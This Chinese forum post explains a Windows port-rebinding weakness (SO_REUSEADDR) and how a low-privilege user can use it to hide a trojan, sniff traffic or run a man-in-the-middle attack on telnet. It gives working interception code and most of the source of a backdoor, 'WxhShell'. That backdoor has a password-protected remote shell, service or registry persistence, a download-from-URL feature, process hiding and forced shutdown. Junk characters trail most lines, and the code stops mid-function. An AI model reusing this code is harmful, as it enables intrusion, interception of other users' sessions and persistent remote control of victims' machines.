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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W%b<(T;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 84)$ CA+NX  
3v;o`Em&  
  saddr.sin_family = AF_INET; ??12 J#  
~\4l*$3(^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zkn K2e,$  
AuUT 'E@E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @Ek''a$  
m9ts&b+TE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Xhtc0\0"(  
*c7kB}/  
  这意味着什么?意味着可以进行如下的攻击: %]nY v#K  
@=`Dw/13  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,0NVb7F;k  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2\l7=9 ]\3  
Z"'rc.>a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =$Sf]L  
(f5!36mz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,)'!E^n  
fL ng[&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N72z5[..  
LSlaz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 VYTdK"%  
<F+S}!q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mfFC@~|g  
%75|+((fC  
  #include sY7:Lzs.,  
  #include D/:~# )  
  #include Z!G_" 3  
  #include    &}32X-~y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UoPd>q4Uj  
  int main() l>h%J,W  
  { ~6.AE/ow  
  WORD wVersionRequested; >Mj :'  
  DWORD ret; ur={+0 y  
  WSADATA wsaData; XV1#/@H;  
  BOOL val; ??=CAU%\  
  SOCKADDR_IN saddr; Smo^/K`f9  
  SOCKADDR_IN scaddr; ~cy/\/oO  
  int err; WRZi^B8 @  
  SOCKET s; $5yS`Iq S  
  SOCKET sc; \.myLkm  
  int caddsize; ;j=/2vU~@  
  HANDLE mt; '@2pOq  
  DWORD tid;   5[`!\vCiZ  
  wVersionRequested = MAKEWORD( 2, 2 ); NLw#b?%  
  err = WSAStartup( wVersionRequested, &wsaData ); 9X,dV7 yW  
  if ( err != 0 ) { Y oNg3  
  printf("error!WSAStartup failed!\n"); 8U0y86q>)E  
  return -1; AOWX=`J8V  
  } RO'MFU<g  
  saddr.sin_family = AF_INET; ZJsc?*@  
   wfM$JYfI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @!'Pr$`  
N\=pH{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5!}xl9D  
  saddr.sin_port = htons(23); pA"x4\s   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ()JM161  
  { DF%\ 1C>  
  printf("error!socket failed!\n"); k6ER GQ9|I  
  return -1; f% ZqK_CW  
  } H:#b(&qw2  
  val = TRUE; ?(Dkh${@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4LtFv)i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v~q2D"  
  { ]p(+m_F  
  printf("error!setsockopt failed!\n"); epCU(d*b  
  return -1; ! 1C3{  
  } P .3j |)NW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Im{50%Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;WJ}zjo >  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Wd~aSz9  
N/DcaHFYo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qW6a|s0}  
  { 9@./=5N~3  
  ret=GetLastError(); " ^ydoRZ  
  printf("error!bind failed!\n"); A|CW4f,  
  return -1; 5xwztcR-  
  } $6XSW  
  listen(s,2); 'Z+w\0}@  
  while(1) %lbSV}V)  
  { Ul^/Dh  
  caddsize = sizeof(scaddr); 'I($IM  
  //接受连接请求 vvv~n ]S6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uaNJTob  
  if(sc!=INVALID_SOCKET) %'"#X?jk1  
  { W)1)zOD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WfBA5  
  if(mt==NULL) apa~Is1  
  { l^:m!SA_  
  printf("Thread Creat Failed!\n"); T.<er iv  
  break; 49nZWv48"_  
  } Zn1+} Z@I  
  } kwMuL>5  
  CloseHandle(mt); ,E3"Ai sI  
  } <_uLf9j a  
  closesocket(s); dI5Z*"`R9  
  WSACleanup(); lu`\6  
  return 0; ^HLi1w|  
  }   @j`_)Y\  
  DWORD WINAPI ClientThread(LPVOID lpParam) oR5hMu;j+  
  { @L { x;  
  SOCKET ss = (SOCKET)lpParam; +G"=1sxJ  
  SOCKET sc; as)2ny!u  
  unsigned char buf[4096]; {0q;:7Bt  
  SOCKADDR_IN saddr; 49bzHEqZ  
  long num; !(*mcYA*W  
  DWORD val; gq*- v:P>  
  DWORD ret; bENfEOf,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =#&K\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hc5M)0d  
  saddr.sin_family = AF_INET; &}nU#)IX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }5RfY| ;  
  saddr.sin_port = htons(23); i^ G/)bq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W*QD'  
  { ; @ h{-@  
  printf("error!socket failed!\n"); -?!|W-}@G=  
  return -1; 00Tm0rY  
  } 8U/q3@EC  
  val = 100; V=VL@=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k.rP}76  
  { u ?7(A %  
  ret = GetLastError(); H;k;%Zg;  
  return -1; QN9$n%Z  
  } Z_QSVH68A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FviLlly6  
  { -TU7GCb=  
  ret = GetLastError(); Nb>|9nu O  
  return -1; r[vMiVb  
  } X, <&#l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) : &mYz(1q  
  { wp-5B= #:{  
  printf("error!socket connect failed!\n"); )pjd*+V  
  closesocket(sc); S5@/;T  
  closesocket(ss); 9qIUBHe  
  return -1;  $Tfq9  
  } ZwAX+0  
  while(1) yHurt>8b[  
  { y<m{eDV7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <P'^olQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 df nmUE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DIB Az s  
  num = recv(ss,buf,4096,0); O_ nk8  
  if(num>0) @/lLL GrZ"  
  send(sc,buf,num,0); mn{8"@Z  
  else if(num==0) n&i WYECz  
  break; #] vq <Y  
  num = recv(sc,buf,4096,0); *DLv$/(0  
  if(num>0) (zWzF_v  
  send(ss,buf,num,0); 9bPQD{Qb  
  else if(num==0) SIKy8?Fn  
  break; 3I^KJ/)A  
  } VCiJ]$`M  
  closesocket(ss); 'X_iiR8n@p  
  closesocket(sc); i/Q*AG>b  
  return 0 ; U`,&Q ]  
  } [@ "H2#CQ  
i)1E[jc{p!  
Un]`Gd]:  
========================================================== u'd+:uH  
GI WgfE?  
下边附上一个代码,,WXhSHELL q =b.!AZy  
/_rQ>PgSZW  
========================================================== ;wbQTp2  
>B>CV8p6w  
#include "stdafx.h" P|v;'9  
/SY40;k:  
#include <stdio.h> oB-&ma[ZS  
#include <string.h> pco~Z{n  
#include <windows.h> xp7,0'(;  
#include <winsock2.h> [zm&}$nnN  
#include <winsvc.h> o$\ {&:y  
#include <urlmon.h> ?|%^'(U}  
T$06DS  
#pragma comment (lib, "Ws2_32.lib") H:`W\CP7_  
#pragma comment (lib, "urlmon.lib") W([)b[-*  
Lbq"( b  
#define MAX_USER   100 // 最大客户端连接数 _0)#-L>xKF  
#define BUF_SOCK   200 // sock buffer fNFdZ[qOd  
#define KEY_BUFF   255 // 输入 buffer ,yWTk ql  
?6p6OB  
#define REBOOT     0   // 重启 v>c[wg9P  
#define SHUTDOWN   1   // 关机 jm =E_86_  
Oe'Nn250  
#define DEF_PORT   5000 // 监听端口 c#OZ=`  
5hB&]6n  
#define REG_LEN     16   // 注册表键长度 ~B:Lai4"  
#define SVC_LEN     80   // NT服务名长度 DvG.G+mo#  
W2wDSP-   
// 从dll定义API O*z x{a6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 022YuqL<v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gu/eC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Gu V -[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); doFp53NhV  
%Wom]/&,'  
// wxhshell配置信息 3LG}x/l  
struct WSCFG { EX>>-D7L  
  int ws_port;         // 监听端口 rzDqfecOmW  
  char ws_passstr[REG_LEN]; // 口令 [{Fr{La`D'  
  int ws_autoins;       // 安装标记, 1=yes 0=no $.QnM  
  char ws_regname[REG_LEN]; // 注册表键名 H+F?)VX}oA  
  char ws_svcname[REG_LEN]; // 服务名 T5z %X:VD(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Bt Bo%t&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "ltvD\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =oluw|TCe7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  )"&-vg<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?p. dc ~tZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .'lc[iI9)d  
Bo`fy/x#  
}; go]d+lhFB  
|^S[Gr w  
// default Wxhshell configuration gET& +M   
struct WSCFG wscfg={DEF_PORT, !__f  
    "xuhuanlingzhe", 3HO 4 h\mp  
    1, S5" xb  
    "Wxhshell", u4IgPCTZ+  
    "Wxhshell", +=$\7z>s  
            "WxhShell Service",  .#zx[Io  
    "Wrsky Windows CmdShell Service", mZ/?uPIa  
    "Please Input Your Password: ", (*/P~$xIj  
  1, s$C;31k  
  "http://www.wrsky.com/wxhshell.exe", 9$~D4T  
  "Wxhshell.exe" ' hO+b  
    }; z Rz#0  
8!3+Obj  
// 消息定义模块 @IB8(TZ5I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "3Dvc7V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VDPqI+z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %saTyF,  
char *msg_ws_ext="\n\rExit."; Fy`VQ\%7t  
char *msg_ws_end="\n\rQuit."; ).9-=P HlX  
char *msg_ws_boot="\n\rReboot..."; ;)83tx /  
char *msg_ws_poff="\n\rShutdown..."; 3Nr8H.u&q  
char *msg_ws_down="\n\rSave to "; *gMuo6  
Y;e@ `.(  
char *msg_ws_err="\n\rErr!"; 4-E9a_  
char *msg_ws_ok="\n\rOK!"; a gBKp!  
)Si`>o3T-.  
char ExeFile[MAX_PATH]; JGn@)!$+/  
int nUser = 0; dWR?1sV|e  
HANDLE handles[MAX_USER]; n-Dr/c4  
int OsIsNt; T(a* d7  
/# 0@C[9  
SERVICE_STATUS       serviceStatus; 5;`([oX|_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?TMo6SU  
t82Bp[t  
// 函数声明 i2N*3X~  
int Install(void); 2EG"xA5%  
int Uninstall(void); bkmX@+Pe  
int DownloadFile(char *sURL, SOCKET wsh); @`%.\_  
int Boot(int flag); #@2`^1  
void HideProc(void); }=?r`J+Ev;  
int GetOsVer(void); AW+4Vm_!l  
int Wxhshell(SOCKET wsl); %- %/3  
void TalkWithClient(void *cs); \Vm{5[:SA  
int CmdShell(SOCKET sock); @F=ZGmq  
int StartFromService(void); 8}xU]N#EV  
int StartWxhshell(LPSTR lpCmdLine); EIEwrC  
{4}Sl^kn*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V *S|Qy!p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |8`}yRsQ  
[DGq{(O  
// 数据结构和表定义 e Yyl=YW  
SERVICE_TABLE_ENTRY DispatchTable[] = zFP}=K:o)  
{ :eHh }  
{wscfg.ws_svcname, NTServiceMain}, \M:,Vg  
{NULL, NULL} BAzc'x&<  
}; Gg5vf]VFo  
[<wy @W  
// 自我安装 /PPk p9H{  
int Install(void) #kLM=a/_NO  
{ bTO$B2eh|  
  char svExeFile[MAX_PATH]; (C6Y*Zm\  
  HKEY key; <u4GIi <sm  
  strcpy(svExeFile,ExeFile); &bBp`h  
h=`rZC  
// 如果是win9x系统,修改注册表设为自启动 -d_FB?X  
if(!OsIsNt) { j|lg&kN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eC[g"Ef  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *$`r)pV%AK  
  RegCloseKey(key); YV! !bI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -6+HA9zz@C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #n2GW^x  
  RegCloseKey(key); G|3OB:  
  return 0; tE>3.0U0Q  
    } 2q2wo&uK  
  } .?AtW:<*I  
} [USXNe/  
else { 7:bqh$3!s  
BOt\"N  
// 如果是NT以上系统,安装为系统服务 /V7u0y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {7(h%]  
if (schSCManager!=0) f}Uw%S=w,  
{ cv#H  
  SC_HANDLE schService = CreateService JN|<R%hy  
  ( o<V-gS  
  schSCManager, g](m& O  
  wscfg.ws_svcname, <@JU0Z"a=  
  wscfg.ws_svcdisp, #GWQ]r?  
  SERVICE_ALL_ACCESS, *D4H;P#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @ o;m!CYB  
  SERVICE_AUTO_START, >x!N@G  
  SERVICE_ERROR_NORMAL, ffE%{B?  
  svExeFile, 61jDI^:  
  NULL, 6|_ S|N  
  NULL, Aqp3amW!  
  NULL, T0tG1/O\  
  NULL, !Z4,UTu|Q  
  NULL v7&$(HJ>]L  
  ); ?KS9Dh  
  if (schService!=0) *}[@*  
  { r>z8DX@  
  CloseServiceHandle(schService); ^e&,<+qY  
  CloseServiceHandle(schSCManager); :Bn\1\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >vP^l {SD  
  strcat(svExeFile,wscfg.ws_svcname); ?hfos Bn&[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T}u'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3`, m=1[)  
  RegCloseKey(key); 'JkK0a2D  
  return 0; d%]7:  
    } h[XGFz  
  } 9^c_^-8n<}  
  CloseServiceHandle(schSCManager); ZO}V}3  
} V!ajD!00  
} (MxLw:AV  
fl)Oto7  
return 1; \>YXPMIk  
} j$8 ~M  
Gi{1u}-0  
// 自我卸载 J+.t \R  
int Uninstall(void) 8, B9y D  
{ 8Oc*<^{#  
  HKEY key; F$+_Z~yt3;  
P!]DV$o  
if(!OsIsNt) { F"0 tv$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %mI`mpf  
  RegDeleteValue(key,wscfg.ws_regname); -Tz9J4xU&  
  RegCloseKey(key); ja 9y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E )Hp.  
  RegDeleteValue(key,wscfg.ws_regname); aZBaIl6I  
  RegCloseKey(key); 'i`;Frmg  
  return 0; $"_D"/*  
  } Z ,T TI>P  
} =x[`W9.D  
} x&;{4F Nw  
else { %ecg19~L/}  
_oLK" * [#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R0m}I5Frs  
if (schSCManager!=0) W cqYpPv  
{ yq&]>ox  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?!A{n3\<  
  if (schService!=0) y<#y3M!\  
  { e@I?ESZ5  
  if(DeleteService(schService)!=0) { Y$,]~Qzq  
  CloseServiceHandle(schService); QTP1u  
  CloseServiceHandle(schSCManager); RS$:]hxd>_  
  return 0; u}ab[$Q5  
  } X59~)rH,  
  CloseServiceHandle(schService); szKs9er&  
  } 'X[3y^q  
  CloseServiceHandle(schSCManager); 8E$KR:/:4  
} p\!+j@H:  
} O #0:6QX  
UQhfR}(  
return 1; Hi|Oeu  
} U` bvv'38#  
.m+KXlP  
// 从指定url下载文件 a{H~>d< ?  
int DownloadFile(char *sURL, SOCKET wsh) o3uv"# C  
{ 2I#fwsb  
  HRESULT hr; mNuv>GAb  
char seps[]= "/"; mD0pqK  
char *token; KU$.m3A>  
char *file; 8-+IcyUza  
char myURL[MAX_PATH]; -5E%f|U  
char myFILE[MAX_PATH]; &&>OhH`  
~j8x"  
strcpy(myURL,sURL); ph3[}><6  
  token=strtok(myURL,seps); D5U\~'{L  
  while(token!=NULL) ogQbST  
  { 4} =]QQoE  
    file=token; dIK!xOStA  
  token=strtok(NULL,seps); RL>[t  
  } Uu3[Cf=C  
-i 6<kF-W  
GetCurrentDirectory(MAX_PATH,myFILE); WE=`8`Li  
strcat(myFILE, "\\"); RAxA H  
strcat(myFILE, file); +]I7)  
  send(wsh,myFILE,strlen(myFILE),0); h05 ~ g  
send(wsh,"...",3,0); [kn`~hI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oOSw> 23x  
  if(hr==S_OK) sLB{R#Pt  
return 0; ;pC-0m0Y  
else P$w0.XZa  
return 1; 7';PI!$  
JLs7[W)O  
} OyTBgS G?a  
z3>}(+  
// 系统电源模块 kgYa0 e5  
int Boot(int flag) YSeXCJ:Iy  
{ #~ / -n&#  
  HANDLE hToken; )5e}Id  
  TOKEN_PRIVILEGES tkp; T!J\Dm-  
f<y""0L9  
  if(OsIsNt) { ,qaIdw[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m]&d TZV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >JnEhVRQJ9  
    tkp.PrivilegeCount = 1; {?#g*QF|^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .F> c Z,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fr:RiOPn  
if(flag==REBOOT) { Yuh t<:`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5 {'%trDEy  
  return 0; y 37n~~%  
} jJg 'Y:K9q  
else { HnU}Lhjzj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |-2,k#|  
  return 0; l |\Q~ D!o  
} _DH,$evS%  
  } .D>%-  
  else { \@tt$ m%  
if(flag==REBOOT) { fMhMB |W.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @hg1&pfxZ<  
  return 0; Elm/T]6  
} pdmeB  
else { L?0dZY-"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &]uhPx/  
  return 0; ^[d)Hk}L  
} .GkH^9THP  
} xS*f{5Hr8  
Ugrcy7  
return 1; Z7OWpujCvN  
} ~` #t?1SP  
op[OB=  
// win9x进程隐藏模块 ?JtFiw  
void HideProc(void) Wh 8fC(BE  
{ e WcS>N  
 #*?5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HJoPk'p%  
  if ( hKernel != NULL ) { \r{$<s  
  { ])T*T$u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "(T@*"vX2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;M\H#%G.  
    FreeLibrary(hKernel); WG(tt.  
  } U%j=)VD ])  
O"_FfwO a  
return; ~#@sZ0/<  
} \ $z.x-U  
3Pkzzyk_|D  
// 获取操作系统版本 IjJ3./L!5  
int GetOsVer(void) QT^W00h  
{ xZbm,. v  
  OSVERSIONINFO winfo; w^z}!/"]u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #OH# &{H  
  GetVersionEx(&winfo); 3 uhwoE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `ag>4?7?  
  return 1; U0UOubA  
  else =f=MtH?0y  
  return 0; `<C)oF\~f  
} k}Ahvlq)  
|.)dOk,o  
// 客户端句柄模块 f; >DM  
int Wxhshell(SOCKET wsl) Hi <{c  
{ rEs,o3h?po  
  SOCKET wsh; 0|P RCq  
  struct sockaddr_in client; ,Q >u N  
  DWORD myID; 4k<4=E  
xH e<TwkI  
  while(nUser<MAX_USER) uRwIxT2  
{ {i`BDOaL  
  int nSize=sizeof(client); g:O~1jq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ImyB4welo  
  if(wsh==INVALID_SOCKET) return 1; DX4uTD  
zeNvg/LI^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )^L+iht  
if(handles[nUser]==0) q"`1cFD  
  closesocket(wsh); 8X[G)J;  
else vvFXdHP  
  nUser++; ZKPnvL70  
  } fqFE GyeNr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )m \}ITf  
W}.;]x%1B  
  return 0; WF-B=BRZ  
} doVBVTk^  
~z%K9YcyU  
// 关闭 socket IWsB$T  
void CloseIt(SOCKET wsh) Cddw\|'3  
{ >mi%L3Pk  
closesocket(wsh); wp$C J09f*  
nUser--; nlw(U3@7  
ExitThread(0); #&5m=q$EI  
} _~| j~QE]  
q2Ax-#  
// 客户端请求句柄 a~DR$^m  
void TalkWithClient(void *cs) j+w*Absh  
{ uXNJ{]o  
0;} 9XZ  
  SOCKET wsh=(SOCKET)cs; aKkQXq*  
  char pwd[SVC_LEN]; Vv0dBFe  
  char cmd[KEY_BUFF]; _(TavL>l =  
char chr[1]; 2< w/GX.  
int i,j; T/dchWG  
=>n:\_*M  
  while (nUser < MAX_USER) { L&][730  
z?Hvh  
if(wscfg.ws_passstr) { tB8XnO_c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o[!]xmj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +_3> T''_  
  //ZeroMemory(pwd,KEY_BUFF); ePP-&V"`"  
      i=0; Xu3o,k  
  while(i<SVC_LEN) { E<>n0",  
(Lo<3a-]  
  // 设置超时 Jou~>0,/j  
  fd_set FdRead; =YE"6iU  
  struct timeval TimeOut; 1 nIb/nY  
  FD_ZERO(&FdRead); BO5F6lyQ0P  
  FD_SET(wsh,&FdRead); =YR/X@&  
  TimeOut.tv_sec=8; $ThkK3  
  TimeOut.tv_usec=0; LK)0g4{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,H'O`oV!1E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); & 2& K9R  
o{(-jhR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z; r}G m  
  pwd=chr[0]; GCkc[]2p  
  if(chr[0]==0xd || chr[0]==0xa) { qXn %c"  
  pwd=0; M%/ML=eLi  
  break; m%X~EwFc.  
  } v1 d]  
  i++; K%Vl:2#F  
    } ICTl{|i ]  
]<WKi=  
  // 如果是非法用户,关闭 socket XuVbi=pN.2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %($sj| _l  
} W+Z] Y  
Z6 E-FuO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dUk^DI,:l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % TyR8 %  
X25cU{  
while(1) { {()8 W r  
lGwX.cA!'  
  ZeroMemory(cmd,KEY_BUFF); LBk1Qw}-  
6-{QU] #  
      // 自动支持客户端 telnet标准   #f5-f  
  j=0; -e3m!h  
  while(j<KEY_BUFF) { 5lu620o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KcF2}+iM   
  cmd[j]=chr[0]; xwW[6Ah  
  if(chr[0]==0xa || chr[0]==0xd) { #6[FGM  
  cmd[j]=0; & ;ie+/B  
  break; q*SX.A>YR  
  } vq B)PL5)  
  j++; L0/0<d(K  
    } s_y Y,Z:  
}Gqx2 )H  
  // 下载文件 }b ~;x6  
  if(strstr(cmd,"http://")) { \/p\QT@mm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ji\8(7 {8  
  if(DownloadFile(cmd,wsh)) \h~;n)FI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ratg!l|'-  
  else Y?=+A4v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8sOM%y9M  
  } ?_3K]i1IS  
  else { 40<ifz[7  
/0>Cy\eN0  
    switch(cmd[0]) { />S=Y"a/7  
  I $!Y  
  // 帮助 4E}]>  
  case '?': { w^sM,c5d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @@9#od O  
    break; _'JKPD[  
  } Xhe25  
  // 安装 MR=>DcR  
  case 'i': { ]7}2"?J4v  
    if(Install()) ]xBQ7Xqf|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^EdY:6NJ=A  
    else pP;GDW4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D:sQHJ. y  
    break; &]iX>m.  
    } o /AEp)8  
  // 卸载 qiV#T +\  
  case 'r': { 7Q7z6p/\v  
    if(Uninstall()) uli,@5%\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |XzqP +t  
    else nqg=I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *q{/`Z{wy  
    break; g!(j.xe  
    } ZMQSy7  
  // 显示 wxhshell 所在路径 DJr{;t$7~  
  case 'p': { {wiw]@c8  
    char svExeFile[MAX_PATH]; !U>711$  
    strcpy(svExeFile,"\n\r"); @5K/z<p%  
      strcat(svExeFile,ExeFile); /PN[g~3  
        send(wsh,svExeFile,strlen(svExeFile),0); UbE*x2N  
    break; <ppM\$  
    } BY.' 0,H=k  
  // 重启 #lRkp.e  
  case 'b': { )=V0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %,Xs[[?i  
    if(Boot(REBOOT)) 7 [N1Vr(1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +FRXTku(  
    else { ' \Z54$  
    closesocket(wsh);  ~,Ck  
    ExitThread(0); Ho9 a#9  
    } O+A/thI%*S  
    break; SsiAyQ|Ma  
    } Z6\OkD  
  // 关机 (dvCejc^p  
